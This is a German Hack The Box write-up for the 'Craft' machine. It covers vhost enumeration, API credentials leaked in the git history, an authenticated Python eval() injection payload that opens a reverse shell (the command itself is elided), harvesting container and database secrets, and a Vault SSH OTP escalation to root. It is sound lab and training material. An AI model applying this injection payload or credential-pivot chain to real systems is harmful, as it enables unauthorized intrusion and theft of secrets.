← Zurück zu Machines

HTB · published

Craft

Hack The Box CPTS-Track Writeup für Craft: Vhost Enumeration, Gogs Git-History Leak, authentifizierte API eval-RCE, Container Secrets, Gogs Pivot, SSH als gilfoyle und Vault SSH OTP zu root.

HTBCPTSWriteupLinuxGogsAPIRCEDockerVaultSSHMachine

Metadaten


  • Name: Craft
  • IP Address: 10.129.7.232
  • Plattform: Linux
  • Kategorie: Web / Source Code Review / API RCE / Docker / Vault
  • Schwierigkeit: Medium
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Craft ist eine Linux-Machine mit Docker-basierten Webservices. Der Angriff führt über HTTPS-Vhosts, ein öffentliches Gogs-Repository, geleakte API-Credentials aus der Git-History, eine authentifizierte Python-eval()-RCE, Datenbank-Credentials im Container, ein privates Infra-Repo und final Vault SSH OTP zu root.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -Pn -oN scans/tcp_full.nmap 10.129.7.232
22/tcp    open  ssh
443/tcp   open  https
6022/tcp  open  x11

servicescan:

nmap -sC -sV -O -Pn -p22,443,6022 -oN scans/tcp_initial_svco.nmap 10.129.7.232
22/tcp    OpenSSH 7.4p1 Debian
443/tcp   nginx/1.15.8 HTTPS
6022/tcp  Golang x/crypto/ssh server

TLS-Zertifikat und Weblinks führten zu mehreren Hostnames:

craft.htb
api.craft.htb
gogs.craft.htb
vault.craft.htb

https://api.craft.htb/api/ zeigte Swagger-Dokumentation. https://gogs.craft.htb/explore/repos veröffentlichte das Repository Craft/craft-api.


Exploitation (Foothold)

Das öffentliche Gogs-Repository wurde geklont:

GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git

In der Git-History lagen alte API-Test-Credentials:

git show 10e3ba4:tests/test.py
dinesh : 4aUh0A8PbVJxgd

Im aktuellen API-Code lag die eigentliche Schwachstelle:

if eval('%s > 1' % request.json['abv']):

Der Wert abv wurde authentifiziert, aber ungefiltert in eval() verarbeitet. Mit dinesh konnte ein API-Token angefordert und anschließend ein Reverse-Shell-Payload im Feld abv gesendet werden:

{
  "brewer": "x",
  "name": "x",
  "style": "x",
  "abv": "__import__(\"os\").system('python -c ...') or 0"
}

Das Ergebnis war eine Shell als root im API-Container:

uid=0(root)
hostname=5a3d243127f5
pwd=/opt/app

Container-root war aber noch nicht Host-root. Der nächste Schritt war Secrets-Enumeration.


Lateral Movement / User Escalation

Im Container lag die API-Konfiguration:

/opt/app/craft_api/settings.py

Relevante Werte:

CRAFT_API_SECRET=hz66OCkDtv8G6D
MySQL: craft / qLGockJ6G2J75O
Database host: db

Die Datenbank enthielt weitere Benutzer:

dinesh   : 4aUh0A8PbVJxgd
ebachman : llJ77D8QFkLPQB
gilfoyle : ZEU3N8WNM2rh4T

Mit gilfoyle funktionierte der Login in Gogs. Dort war ein privates Repository sichtbar:

gilfoyle/craft-infra

Das Repo enthielt eine verschlüsselte SSH-Key-Datei:

.ssh/id_rsa

Die Passphrase war identisch mit Gilfoyles Passwort:

ssh-keygen -p -P 'ZEU3N8WNM2rh4T' -N '' -f loot/gilfoyle_id_rsa_nopass
ssh -i loot/gilfoyle_id_rsa_nopass gilfoyle@10.129.7.232

User Flag:

cat /home/gilfoyle/user.txt
5c75a[REDACTED-USER-FLAG]226f

Privilege Escalation (Root / Domain)

Das private Infra-Repository enthielt Vault-Konfiguration für SSH OTP:

vault secrets enable ssh
vault write ssh/roles/root_otp \
  key_type=otp \
  default_user=root \
  cidr_list=0.0.0.0/0

Auf dem Host lag bei gilfoyle ein Vault-Token:

~/.vault-token

Mit VAULT_ADDR=https://vault.craft.htb:8200/ konnte ein root-OTP erzeugt werden:

export VAULT_ADDR=https://vault.craft.htb:8200/
export VAULT_TOKEN=$(cat ~/.vault-token)
vault write ssh/creds/root_otp ip=10.129.7.232

Vault gab ein One-Time-Password für SSH als root zurück. Per keyboard-interactive SSH wurde Root erreicht:

ssh root@10.129.7.232
uid=0(root) gid=0(root) groups=0(root)

Root Flag:

cat /root/root.txt
53d2c[REDACTED-ROOT-FLAG]8d47

Post-Exploitation

  • User Flag: 5c75a[REDACTED-USER-FLAG]226f
  • Root Flag: 53d2c[REDACTED-ROOT-FLAG]8d47
  • Wichtige Accounts: dinesh, gilfoyle, craft
  • Wichtige Dateien: tests/test.py, settings.py, gilfoyle_id_rsa, .vault-token, vault/secrets.sh
  • Wichtige Technik: Git-History Review, authentifizierte API-RCE, Container Secret Discovery, Vault SSH OTP
  • Cleanup: Reverse Shell schließen, temporäre lokale Keys schützen/löschen und Vault-OTP-Lease nicht weiterverwenden.

Lessons Learned

  • Git-History zählt: Alte Commits können produktive Credentials enthalten, auch wenn der aktuelle Tree sauber wirkt.
  • API Auth schützt nicht vor RCE: Authentifizierte Endpunkte brauchen genauso sauberes Input-Handling. eval() auf JSON-Feldern ist fatal.
  • Container-root ist nur ein Pivot: Die Host-Kompromittierung kam über Secrets und Gogs, nicht über einen Docker-Escape.
  • Vault kann Root-Pfad sein: Ein gültiger User-Token mit Zugriff auf ssh/creds/root_otp reicht für root-SSH.

Notizen

  • 6022/tcp war der Gogs-SSH-Service, nicht der normale Host-SSH.
  • gilfoyle war der zentrale Pivot: Gogs-Login, privates Infra-Repo, SSH-Key und Vault-Zugriff.
  • Der intended Path ist schön “DevOps”: Source, Secrets, Container, Infra, Vault.